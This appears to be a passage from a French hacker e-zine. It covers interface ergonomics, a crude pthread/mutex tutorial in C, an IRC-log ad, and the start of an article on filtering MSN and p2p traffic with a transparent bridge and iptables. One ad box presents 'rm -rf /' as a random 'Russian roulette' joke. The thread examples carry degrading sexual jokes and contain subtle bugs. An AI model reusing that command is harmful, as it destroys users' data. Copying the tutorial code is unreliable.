le "select" est  indiqué.  Pour  un  choix de réponse restreint, utilisez plutôt les "radio". 
Plusieurs assais on été faits pour ajouter d'autres "input controls" plus avancés  comme  des 
tabulateurs ou des "slidebars" pour enrichire l'interaction  avec  l'utilisateur.  Le  chemin 
pour y arriver est souvent laborieux et les résultats  plutôt  décevants.  D'un  autre  coté, 
certains sont arrivés à des résultats plutôt impressionants, comme Mihai Bazon avec sa vision 
d'un textarea:  http://www.interactivetools.com/staff/ben/htmlarea3_demo/example.html

	Il  faut  aussi  éviter  de  mettre  trop  de  texte  pour  rien, si des informations
supplémentaires <em>pertinantes</em> sont disponibles, linkez les  plutôt  que  de  créer  un 
manuel d'instruction interactif en guise de programme. Soyez le  plus  bref  et  conçis   que 
possible, en tout temps, car le average net user  déteste  lire.  Tout  ce  qu'il  veut c'est 
atteindre son but le plus rapidement  possible  avec  le  moins  d'étapes  possible. Pourquoi 
croyez-vous que sur un des  applications  web les plus visité du monde; google, on y retrouve 
zéro annonces publicitaires, 42 mots et 1 image ?

	C'est aussi vrai pour les menus, évitez les noms trop longs. Évitez  les  noms  comme 
"Lire les nouvelles" ou "Discuter sur le Forum".  Utilisez  plutot  des  mots  simples  comme 
"Nouvelles" et "Forum", l'utilisateur comprendra quand même et  votre  design ne s'en portera 
que mieux. Si vous avez beaucoup d'items dans votre menu, n'hésitez pas de créer des "arbres" 
pour regrouper vos items de façon logique.

	Si  quelque  chose  n'est  pas  utile  à  votre  contenu ou "message", enlevez-le. Le 
meilleur exemple que je puisse penser, c'est la surutilisation sections membres  sur  le web. 
Pratiquement chaque site web à sa propre secion membre. Demandez-vous  si  c'est   réellement 
indispensable. Considérez toujours que les  utilisateurs  du  web restent rarement fidèles au 
même site très longtemps. À moins d'offrir  un  service,  comme  un  webmail ou ebay, ou être 
réellement axé sur le  coté  "communauté web"  avec  un  but  précis  comme doyoulookgood, ca 
ne  vaut  pas réellement la peine d'avoir une section membre. Par exemple, certains sites web 
forcent les utilisateurs à s'enregistrer pour downloader leurs  produits,   combien  de  fois 
croyez vous que ces utilisateurs reviennent sur le site pour .. lire le forum ? .. Participer 
au sondage ? .. Une fois qu'il a télécharger ce  qu'il  voulait.   Je  parirais plus qu'il va 
oublié sont password dans la même  ½  heure. Choisissez les éléments qui composent votre site 
avec discernement. 

	Vous devez aussi prendre en considération votre public cible. Par  exemple,  si  vous 
faites un programme pour administrer une base de  donnée  mysql,  vous  pouvez  prendre  pour 
acquis que l'utilisateur qui utilisera votre programme à  une  base  relativement  solide  en 
informatique. Mais si vous codez un client  ftp  ou  http, vous devez prendre en compte qu'un 
plus grand "range" de niveaux  d'utilisateurs  risquent  d'utiliser  votre  application.   En 
général, si vous  programmez  pour  des  utilisateurs avancés, votre interface sera complexe, 
mais votre programme simple. Tandis que pour des utilisateurs lamba,  l'interface sera simple 
et le programme sera complexe. Sa semble illogique,  mais  un  programme  qui s'adresse à des 
débutants devrait faire le maximum avec  un  minimum  d'interaction  avec  l'utilisateur.  Le 
programme doit donc déduire  beaucoup  plus  de variables. L'utilisateur avancé, quant à lui, 
n'abandonnera pas  devant  un plus grand nombre de champs de saisie de donnée. Par contre, il 
le  fera si les "input controls" ne sont pas utilisés efficacement. Le mieux  est  évidemment 
d'avoir le meilleur des deux mondes, une interface simple, mais qui cache des options avancés 
facilement accessibles.

	Le comble de l'ergonomie software étant surement de plugger  directement  le  cerveau 
humain en interaction avec le programme, nous allons nous concentrer de ce que l'average uber 
geek peut arriver à faire sans ouvrir un crâne.  J'ai  trouvé  sur  le  net  un  petit   test 
heuristique  qui  permet  de  déjouer  les  erreurs  courantes  commisent  dans  les   design 
d'interfaces  de  programmes.  Il  a  été écrit et pensé dans le contexte de la programmation 
standard et non "web",  mais avec un peu d'imagination c'est applicable sur le web aussi.

 Tableau 1
 ¯¯¯¯¯¯¯¯¯
+---------------------------------------------------------------------------+
| Évaluation heuristique d'un interface	*****				    |
+---------------------------------------------------------------------------+
| 1. État du système							    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯							    |
|     L'utilisateur devrait être informé de ce qui ce passe en arrière plan |
| de façon appropriée et ce dans des délais résonnables.		    |
|									    |
+---------------------------------------------------------------------------+
| 2. Lien entre le système et le monde réel				    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯				    |
|     Le système devrait communiquer avec un language facile à comprendre   |
| par l'utilisateur dans un ordre logique et naturel plutôt que dans	    |
| la forme "orienté système".						    |
|									    |
+---------------------------------------------------------------------------+
| 3. Liberté de mouvement						    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯						    |
|     L'utilisateur devrait être en mesure de quitter n'importe quelle 	    |
| "étape" du programme ,dans laquel il aurait pus arriver par mégarde, 	    |
| rapidement et facilement.	(Souvent réalisé avec undo\redo)	    |
|									    |
+---------------------------------------------------------------------------+
| 4. Consistance et standards						    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯						    |
|     L'utilisateur ne devrait pas avoir à se questionner sur la 	    | 
| signification des termes, situations ou actions. Suivez les conventions   |
| de la plateforme.							    |
|									    |
+---------------------------------------------------------------------------+
| 5. Prévenir les erreurs						    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯						    |
|     Encore mieux qu'un bon message d'erreur: prévenez cette erreur.	    |
|									    |
+---------------------------------------------------------------------------+
| 6. Accessibilité							    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯							    |
|     Rendez les objets, actions et options visibles. L'utilisateur ne 	    |
| devrait pas avoir à se souvenir des informations d'un "dialogue" à 	    |
| l'autre. Et les instructions d'utilisation devraient être accessible      |
|  facilement	                                                            |
| en tout temps.							    |
|									    |
+---------------------------------------------------------------------------+
| 7. Flexibilité et efficacité						    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯						    |
|     Les racourcis (cachés aux utilisateurs lamba) peuvent grandement 	    |
| accelérer l'interaction des utilisateurs plus experts. De cette façon,    |
| l'interface convient au deux types d'utilisateurs. Rendez possible 	    |
| l'optimisation des tâches répétitives.				    |
|                                                                           |
| * A mon avis Adobe Photoshop est une référence sur ce point.		    |
|									    |
+---------------------------------------------------------------------------+
| 8. Design esthétique et minimal					    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯                                             |
|     Les dialogues ne devraient pas contenir d'informations futiles et     |
| inutiles. Chaque unité d'information ajouté inutilement entre en          |
|concurence avec les information crutial et le rendrent moin		    |
| visible.								    |
|									    |
+---------------------------------------------------------------------------+
| 9. Aidez à la reconnaissance, le déboguage et la résolution d'erreurs     |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯	    |
|     Les messages d'erreur devraient être exprimés en texte simple, sans   |
| codes. Ils devraient indiquer avec précision la source de l'erreur et     |
| donner une ou des suggestions constructives sur la façon de régler le	    |
| problème.								    |
|									    |
| * <sarcasme>Microsoft est passé maitre dans cet art :)</sarcasme>	    |
|									    |
+---------------------------------------------------------------------------+
| 10. Aide et documentation						    |
| ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯						    |
|     Même si dans le meilleur des monde une application ne devrait pas     |
| nécéssiter d'aide, il est souvent nécessaire de fournir une documentation.|
| Elle devrait être facile à trouver, orientée principalement sur les tâches|
| de l'utilisateur. Lister les étapes concrètes à faire et être le plus     |
| concis possible.							    |
+---------------------------------------------------------------------------+


Tricks
------


	Lorsque  l'utilisateur  doit  "browser"  beaucoup  de  lignes,  utiliser  un  systeme 
d'highlight "onMouseOver" like pour mettre en évidence  la  ligne  qu'il  survole,  vous  lui 
épargnerez  peu-être  un  mal  de  tête. La couleur du  highlight  devrait  être  subtile  et 
harmonieuse  avec  le  background  et  le   foreground  plutôt  qu'aggressive  et  éclatante. 
Généralement deux ou trois tons  plus  foncés  ou  clairs  que  le  background  donne de bons 
résultats.

	Garder les subtilités pour les élément du background, le foreground doit être évident 
et  contrasté,  le contenu doit être le plus lisible possible. Les écrans  et  les  yeux  des 
personnes rendent très différemment les nuances et les subtilités d'un sujet à l'autre.

	La validation de forms avec le JavaScript est très bien pour gagner  du  temps,  mais 
il ne faut pas pour autant négliger la validation coté serveur. Car la validation coté client 
est facile à bypasser et ne constitue pas  une  sécurité  en  soi.  On pourrait appeler ca un 
"refresh saver".

	Assurez vous que les liens ressortent bien du texte qui l'entour, et tentez  le  plus 
possible d'utiliser toujours la même couleur pour vos liens. Ca peut  sembler  poussé   comme 
raisonnement, mais le bleu est une couleur à favoriser  pour  les  liens.  Par  defaut,   les 
fureteurs  utilisent  le  bleu  comme  couleur  pour  les  liens.. Les  utilisateurs  y  sont 
généralement habitués. 

	Si le public cible de votre site comporte des personnes agées, pensez à  ajouter  des 
options  d'accessibilité,  grandeur  de  police  variable  (avec  css  et  javascript   c'est 
relativement facile), thèmes contrastés ou version imprimable pour les personnes  ayant   des 
prolèmes visuels. Ce sont des petits plus souvent oubliés.
	
	Utilisez plus d'un béta testeur, 4 ou 5 c'est parfait, selon l'ampleur du projet. 

	Spécifiez aussi les background blanc. De  plus  en  plus  d'utilisateurs  "mod"  leur 
windows et le background d'application n'est pas toujours nécéssairement   blanc, ce qui peux 
jouer énormément sur le rendu de vôtre design.

	À moins que le défilement de votre contenu soit horizontal, évitez que votre  contenu 
dépasse les 800px de largeur. C'est toujours surprenant (ou décourageant)  de  voir le nombre 
de taupes qui utilisent encore cette résolution ..

	Le shockwave flash même s'il ne fait pas partie des recommandations du  W3C vaut bien 
une mention spéciale. Il est considérablement répendu et il faut  avouer ses avantages. Flash 
offre beaucoup d'avantages qui seraient techniquement  très difficiles, voir même impossibles 
à réaliser avec du simple html ou même dhtml. Toutefois,  même  si  vous ou votre client êtes 
très enthousiasmés par le flash,  résistez  à la tentation de faire votre site entièrement en 
flash. Cette  technologie a beau être en constant essort, le nombre de types de "clients" qui 
peuvent  lire  le  format  flash  reste  plutot  limité. Il est certain que la nature du site 
importe  dans  cette  décision.. Si les cellulaires, palm, .. frigidaire ? fureteur textes ou 
les os  qui  ne sont pas supportés par flash ne sont pas visé .. so what ? .. Mais attention, 
même  s'il  est  peu  probable  que  vous  ayez  boucoup  de  visiteurs utilisant lynx, si un 
navigateur texte ne peut visiter votre site, un robot de moteur de recherche ne le pourra pas 
plus. Pensez-y bien :)


 Tableau 2 *fort probablement incomplet ..
 ¯¯¯¯¯¯¯¯¯
+---------------------------------------------------------------------------+
| Languages client side						            |
+---------------------------------------------------------------------------+
|	html		|	HyperText Markup language		    |
|	dhtml		|	Dynamic HyperText Markup language	    |
|	xhtml		|	eXstensible HyperText Markup language	    |
|	vml		|	Vector Markup language			    |
|	css		|	Cascading Style Sheet		    	    |
|	vbs		|	VisualBasic Script		   	    |
|	js		|	JavaScript				    |
| 	js		|	JScript					    |
|	class ?		|	Java (compilé)				    |
|	ocx		|	ActiveX					    |
|	xml		|	eXstensible Markup Language		    |
|	xsl		|	eXstensible Stylesheet Language		    |
|	xslt		|	eXstensible Stylesheet Language Transform   |
|	xsd		|	XML Shema Defenition			    |
|	dtd		|	Document Type Defenition		    |
|	swf		|	ShockWave Flash	(compilé)		    |
|-- autres standards dérivés (généralement non supportés) ------------------|
|	sgml		|	Standard Generalised Markup Language	    |
|	thml		|	Theological Markup Language		    |
|	xrml		|	Digital Rights Language for Trusted         |
|			|	Content & Services	                    |
|	gml		|	Geography Markup Language		    |
|	qml		|	Quantum Markup Language :> **		    |
|	sbml		|	Systems Biology Markup Language		    |
|	uiml		|	User Interface Markup Language		    |
|	cml		|	Chemical Markup Language		    |
|	cml		|	Chemical Markup Language		    |
|	xaml		|	"Longhorn" Markup Language ***	    	    |
|	wml		|	Wireless Markup Language	            |
|	cnxml		|	Connexions Markup Language		    |
|	mathml		|	Mathematic Markup Language		    |
|	idml		|	International Development Markup Language   |
|	rdf		|	The Resource Description Framework	    |
|	smil		|	The Synchronized Multimedia Integration     |
|                       |       Language		                    |
|	svg		|	Scalable Vector Graphics		    |
+---------------------------------------------------------------------------+
| Languages server side							    |
+---------------------------------------------------------------------------+
|	cgi			|					    |
|	pl			|	perl				    |
|	php			|	Hypertext PreProcessor		    |
|	rb			|	ruby				    |
|	py			|	python				    |
|	asp			|	Active Server Page		    |
|	aspx			|	Active Server Page	x ?	    |
|	tcl			|					    |
|	jsp			|	Java Server Page		    |
|	cfm			|	Cold Fusion 			    |
+---------------------------------------------------------------------------+


*		RPC (Realtime Procedure Call). Pour plus d'infos: 
		http://www.bazon.net/mishoo/rpc.epl
**		http://www.qc.fraunhofer.de/doc/qml/QMLspecification.html <- ish.
***		Nouveau language markup supposément "révolutionaire" de microsoft .. messemble :p
****	Heuristique: Méthode de recherche empirique ayant recours aux essais et 
		erreurs pour la résolution de problèmes. C'est une méthode fréquemment 
		utilisée en intelligence artificielle, à l'intérieur de ce qui est 
		techniquement appelé univers incertains. (source: www.dictionnaire.com)
*****	Tiré d'un texte de Jakob Nielsen at:
		http://www.useit.com/papers/heuristic/heuristic_list.html


Note:	Entre temps où j'ai commencer à écrire cet article et celui où je l'ai finalisé,
		j'ai finalement eu une connection haute vitesse :) thx a lot TheCops ;>



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |                                                              \\_  \_ \   \\_ 1  + 
 || |                                                              \_ \   \\_  \_ \ 1   
 ||'|<g463> [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /                    \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ la roulette russe virtuel                                             ]=\:\  |
  \__\__________________________________________________________________________________/  


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O5]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de thread          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: Introduction au POSIX thread API.                         ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Phawnky    ]=\:\ _//     
                                                  \__\________________________/__/ 


                                                  
                           
.:[ Intro ]:.                                                      

  .: Quesser que c un thread? :. 

      Imaginer (preferablement apres un spliff/alcool/manque de someille) que le task manager 
      c'est genre une ville la, yeah. Et  genre,  dans  cette  ville  chaque  edifice  a  une 
      fonction   etabilit;   ses  propres  ressources  fournit  par  l'osti  de  gouvernement 
      corrompu...erm. Mais le plus weird la, c'est que  la  plupart  des  edifices  continent 
      juste une salle de 50 etages de haut.  Perte d'espace et d'argent? hell yeah! Le thread 
      palie a ce probleme la  en  ajoutant la possibilite de creer plusieurs etages remplient 
      d'esclaves  qui  travailent  tous en meme temps, theoriquement. Chaque etage d'esclaves 
      peut avoir une fonction differente. En plus d'etre aussi economique qu'une  Mr big avec 
      25% de plus, le tout rend la gestion des taches a l'interne  extremement facile a geree 
      que ce soit cote communication ou ressources partagees.
            
  .: Pourquoi c'est kewl un thread? :.    
  
      Mise a part l'evidence, que le programmes va aller exponentiellement plus vite, un truc 
      pas mal nice avec les threads c'est la communication inter-threads  qui  est  tellement 
      simple comparativement au crisse d'enfer  mongole  de  la  communication inter-proccess 
      (Genre les femmes c'est simple a coter de ca).
      
      C'est simple parceque chaque thread a access au Variable Global d'un  prog.  Donc,  pas 
      besoin d'ouvrir un cannal de communication IPC (msgget/msgsnd/msgrcv)  nope  nope nope, 
      suffit juste de modifier une var :D well, presque...  il  est  aussi  question de mutex 
      locks, mais j'aborderais pas le tout immediatement.
      
  .: Quand ca peut etre utile? :.
  
      Je sais pas si vous avez deja programmer un ports scanner pour le fun ou n'importe quoi 
      d'autre ou y'a enormement de function calls qui sont  non  critique  a l'application en 
      soi et qui peuvent etre fait dans le desordre  le  plus  total,  mais c'est precisement 
      dans ce temps la, que rayonne l'utilisation de threads.
      
.:[ Creation de threads ]:.

   .: Premier programme multi-threaded :.
   
      00
      00    // Compiler avec -pthread [*bsd/cygwin] ou -lpthread [linux]
      00
      01    #include <stdio.h>
   *  02    #include <pthread.h>
      03
   *  04    void *tfunc(void *moo) { putchar(*(int *) moo); }
      05
      06    int
      07    main()
      08    {
      09       char str[] = "Hello World\n";
   *  10       pthread_t tlist[sizeof(str)/sizeof(str[0])];
      11       int i;
      12
      13       for(i=0; str[i]; i++)
   *  14          pthread_create(&tlist[i], 0x00, tfunc, &str[i]);
      15       sleep(1);
      16    }
       
   .: Explications :.
   
   02 - L'API POSIX de thread (pthread) 
        
        Tres important de compiler avec la switch: 
           -pthread  [*bsd/cygwin] 
           -lpthread [linux]
                   
   04 - Declaration de la fonction qui va etre appeller juste apres la creation d'un thread    
      
   10 - Declaration d'une liste d'elements du types pthread_t (les threads)
   
   14 - Creation de threads. La structure de la fonction pthread_create:
   
        pthread_create(pthread_t *thread, const pthread_attr *attr, 
                       void *(*start_routine)(void *), void *arg);

        - Pour  les  attributs,  NULL  va utiliser ceux par default et generalement ca suffit 
          emplement.
  
        - La fonction doit retourner un pointer void et prend aussi  uniquement  un  pointeur 
          void comme argument, mais y reste que  ca  peut  evidement  etre une voided struct, 
          c'est loin d'etre limitatif.
                    
.:[ Utilisation de ressource partager ]:.
      
   .: Mauvais exemple de ressources partager :.
           
      01    #include <stdio.h>
      02    #include <pthread.h>
      03
      04    void *fuxor(void *);
      05
      06    // Ressource Partage
   *  07    struct SexSlave {
   *  08       int compteur_sekz;
   *  09    } Fire;
      10
      11    int main()
      12    {
      13       char *lemuriens[] = { "phawnky", "wyzeman", "init_null",
      14                             "candu", "mindflayr", "h3",
      15                             "NeVR-C", "Ma_Bell",  "ibrator",
      16                             "XeliteX" };
      17       pthread_t lemurien_t[10];
      18       int i;
      19       
      20       for(Fire.compteur_sekz=i=0; i<10; i++)
      21          pthread_create(&lemurien_t[i], 0x00, fuxor, lemuriens[i]);
      22       sleep(1);
      23
      24       printf("[F]ire a baise %d fois! et elle en redemande!\n",
      25              Fire.compteur_sekz);
      26    }
      27
      28    void *fuxor(void *lemurien)
      29    {
   *  30       printf("[F]ire se fait baiser par %s\n", lemurien);
   *  31       printf("%s ne baise plus [F]ire\n", lemurien);
   *  32       Fire.compteur_sekz++;
      33    }

   .: Explications :.
   07 - 09: Creation de la ressource Fire de type SexSlave qui va etre  accessible  par  tout 
            les threads.
           
   30 - 32: Self-Explanitory

   .: Moo :.   
   Une fois compile et exectue, un probleme (MAJEUR) est plutot apparant...Tout les lemuriens 
   baisent Fire en meme temps, en plus d'etre physiquement  impossible et/ou tres douloureux, 
   c'est un effet secondaire indesirable (discutable). Dans tout les cas, je prefers que tout 
   le monde ce la tappe  a  tours  de role. Pour qu'il en soit ainsi l'utilisation d'un mutex 
   lock est necessaire. Mutex lock est un  abbreviation  pour:  Mutual  Exclusion  Lock ou...
   erm...Serrure a Exclusion Mutuelle? En bref c comme l'analogie du  chat  dans  la boite en 
   physique quantique sauf que y'a pas de boite, y'a  juste  un  chat...et le chat peut juste 
   appartenir a une personne a la fois.
   
.:[ Mutual Exclusion Locks (MUTEX) ]:.      
      
      01    #include <stdio.h>
      02    #include <pthread.h>
      03
      04    void *fuxor(void *);
      05
      06    // Ressource Partage
      07    struct SexSlave {
      08       int compteur_sekz;
   *  09       pthread_mutex_t sekz;
      10    } Fire;
      11
      12    int main()
      13    {
      14       char *lemuriens[] = { "phawnky", "wyzeman", "init_null",
      15                             "candu", "mindflayr", "h3",
      16                             "NeVR-C", "Ma_Bell",  "ibrator",
      17                             "XeliteX" };
      18       pthread_t lemurien_t[10];
      19       int i;
      20       
      21       for(Fire.compteur_sekz=i=0; i<10; i++)
      22          pthread_create(&lemurien_t[i], 0x00, fuxor, lemuriens[i]);
      23       sleep(1);
      24
      25       printf("[F]ire a baise %d fois! et elle en redemande!\n",
      26              Fire.compteur_sekz);
      27    }
      28
      29    void *fuxor(void *lemurien)
      30    {
   *  31       pthread_mutex_lock(&Fire.sekz);
      32       
      33       printf("[F]ire se fait baiser par %s\n", lemurien);
      34       printf("%s ne baise plus [F]ire\n", lemurien);
      35       Fire.compteur_sekz++;
      36 
   *  37       pthread_mutex_unlock(&Fire.sekz);
      38    }

   .: Explications :.
   09 -> Le sex de Fire est dorenavent proteger par un mutex lock.

   31 -> Le thread essaie de prendre possession du sex a fire,  si  il  ne  reussit  pas   la 
         premiere fois, il va re-essayer jusqu'a  ce qu'il est assouvit son envie... comme un 
         grand gracon.

   37 -> Le Thread peut enfin mourrir l'ame en paix.
               
      
.:[ References ]:.
   
 -> http://www.llnl.gov/computing/tutorials/pthreads/
 
 -> man pthread  
 
 -> PThreads Primer - A Guide to Multithreaded Programming
    - Bil Lewis & Daniel J. Berg 
    - SunSoft Press, A Prentice Hall Title
    - 1996 (c) Sun Microsystems, inc.
    - ISBN 0-13-443698-9





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|<An0n1mUs> salut wyzeman                                \_ \   \\_  \_ \         `
 || |<An0n1mUs> hey pense tu je pourrais avoire 100 sur hack.fr\\_  \_ \   \\_ M  ; . X
 || |<wyzeman> dit moi pour quel raison jdevrais penser ca     \_ \   \\_  \_ \ K      
 || |<An0n1mUs> pcq chu fanatique de so pi jpourrais etre utile  \\_  \_ \   \\_ -  : '
 ||`|a kkchose keke temp                                         \_ \   \\_  \_ \ 1   
 || |<wyzeman> ok, c quoi tes connaissances ?                      \\_  \_ \   \\_ 1  + 
 || |<An0n1mUs> jconnais un peux so                                \_ \   \\_  \_ \ 1   
 ||'|<An0n1mUs> flood...                                             \\_  \_ \   \\_  x 
 || |<An0n1mUs> pi taker les chan                                    \_ \   \\_  \_ \  `
 || |<An0n1mUs> jai jflood po souvans tsé                              \\_  \_ \   \\_  
 ||,|<An0n1mUs> jprend so jenre pour eu ki me fon chier                \_ \   \\_  \_ \.
 || |<An0n1mUs> jai un autre user                                        \\_  \_ \  _\\_  
/ | |<An0n1mUs> pour po me faire reconnaitre                             \_ \   \\_/    \
 / ;|<An0n1mUs> pi tout                                                    \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit bourré d'Élite                                    ]=\:\  |
  \__\__________________________________________________________________________________/  


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O6]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ Un affaire de spying          ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka:Améliorer la productivité d'une secrétaire dans un nutshell]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[   Mr_Peuch   ]=\:\ _//     
                                                  \__\________________________/__/ 

-=== Starring ===-
Mr_Peuch
Initnull

-=== Table des matiéres ===-
1. Introduction

2. Matériel et Logiciels Requis

3. Installation

4. Configuration


///////////////////////////
/-=== 1. Introduction ===-/
///////////////////////////



	Le présent article à été créé dans le but unique d'informer la population de sysadmin 
que,  OUI,  il  est  possible  d'éliminer  le  problème  de  MSN ( dans certain établissement 
d'enseignement par exemple) ou encore  les  fameux  logiciels  de  p2p  qui  bouffe  la bande 
passante de votre entreprise.  La solution  que  je  vous  propose  aujourd'hui  consiste  en 
l'élaboration d'un pont transparent qui permet le filtrage de ces nuisances sans même que les 
usagers ne s'en  rende  compte, si ce n'est que pour vous appeler parce que son msn ne marche 
plus! a. Présentation de la technologie


==UN BRIN DE THÉORIE==

------------------------
-   Pont transparent   -
------------------------

	Les ponts transparents  sont  basés  sur  la  norme IEEE 802.1D. Situé au niveau 2 du 
modèle OSI les adresses MAC  des  trames  sont stockées dans une table de routage. De plus en 
utilisant une méthode d’auto apprentissage le  pont  pourra  déterminer  sur  quel segment du 
réseaux sera situé le destinataire.

	Pour  ce  faire le pont écoute tous les paquets transmis. Chaque fois qu’il reçoit un 
paquet il stocke l’adresse  source  et  le  port  par  lequel  il a été envoyé. Ensuite il va 
parcourir sa table d’adresse pour trouver le destinataire.

- - Fonctionnement

	Pour  chaque  paquet  reçu,  le  pont  enregistre  l’adresse qui figure dans le champ 
d’adresse de source du paquet dans une mémoire cache, en même temps que le port sur lequel le 
paquet a été reçu. Deux solutions ce présentes alors :


    1) S’il  ne  trouve  pas  le  destinataire  alors  il  renvoie  le  paquet sur toutes les 
       interfaces sauf celle qui vient d’émettre.
    2) Lorsqu’il trouve le  destinataire  il  se contente  d’acheminer  le  parquet   jusqu'à 
       destinataire en utilisant la table qu’il possède.
    3) Dans le cas ou il trouve le destinataire et que ce dernier est sur le même segment que 
       l’expéditeur alors il élimine le paquet.

       On  peut  considérer  les  firewall  comme  des  ponts  transparent  dans  les réseaux 
d’entreprise car ils font du transfert de trame d’une première interface vers  une  deuxième. 
Les firewall peuvent travailler de la couche 3 à 7  du  modèle  OSI.  Dans  notre  cas,  nous 
utiliserons la couche 7 (Yuss! thx to google.ca for this part)

	Voici le shema à quoi cela ressemble :

   _____________	___________________	    ____________________
   |	       |    eth0|		   |eth1    |			|
---| Interbret |--------| Pont transparent |--------| Gateway ou switch |---- whatever
   |___________|	|__________________|	    |___________________|

-------------------------
-  Module iptables-p2p  -
-------------------------

	Le module iptables-p2p est un module à la base conçu pour effectuer  des  matchs  sur 
les  protocoles  p2p  au niveau de la couche application, donc la OSI Layer 7.  Cependant, il 
est conçu également pour ne pas marcher! Je  m'explique.  Les  différentes séquences de match 
ne sont pas vraiment les bonnes avec le module par défaut. C'est  la que le programmeur entre 
en jeux.


	Chaques  séquences  est  contenue  dans  un  fichier  .c  différent  pour  chacun des 
protocoles ie. fastrack.c pour  le  protocole fastrack.  Le  principe est simple, pour chaque 
paquet recu au travers du firewall, le modules  effectue un  challenge  avec  les différentes 
